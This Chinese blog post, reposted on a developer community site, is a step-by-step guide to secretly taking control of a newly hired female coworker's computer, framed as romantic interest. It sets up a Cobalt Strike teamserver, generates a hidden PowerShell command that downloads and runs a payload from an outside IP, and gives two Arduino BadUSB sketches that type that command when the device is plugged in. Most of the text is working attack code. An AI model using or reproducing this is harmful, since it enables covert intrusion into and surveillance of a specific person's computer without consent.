渗透小姐姐的心系列-控制小姐姐电脑（1）-阿里云开发者社区

渗透小姐姐的心系列-控制小姐姐电脑（1）

2023-05-19 69

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： 渗透小姐姐的心系列-控制小姐姐电脑（1）

背景

公司前几天刚入职了一个小姐姐，看到她的第一眼，我发现我恋爱了。

所以我一定要拿到她的电脑权限！！！！

Badusb:伪造计算机交互设备

1.部署cs

服务器：

通过screen启动cs服务端

screnn -dmS xiaojiejie
screnn -r xiaojiejie
./teamserver 111.229.77.212 520520

客户端启动

java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

客户端连接

c9ce9e9d76cf77b1f73304003d62f2e2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

配置监听器：

生成后门下载链接

复制出

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://111.229.77.212:80/xiaojiejie'))"

安装Arduino IDE（回复公众号（渗透小姐姐的心）查看下载链接。）

设置开发版和编程器

编写代码

#include<Keyboard.h>
void setup(){
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://111.229.77.212:80/xiaojiejie'))"");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.end();
}
void loop()
{
}

指令过长

重新生成payload

保存到桌面

上传到服务器

使用python实现下载服务

python -m SimpleHTTPServer 8080

写入代码

#include<Keyboard.h>
void setup(){
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("cmd.exe /c powershell.exe IEX(New-ObjectNet.WebClient).DownloadString('http://111.229.77.212:8080/xiaojiejie.ps1')");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.end();
}
void loop()
{
}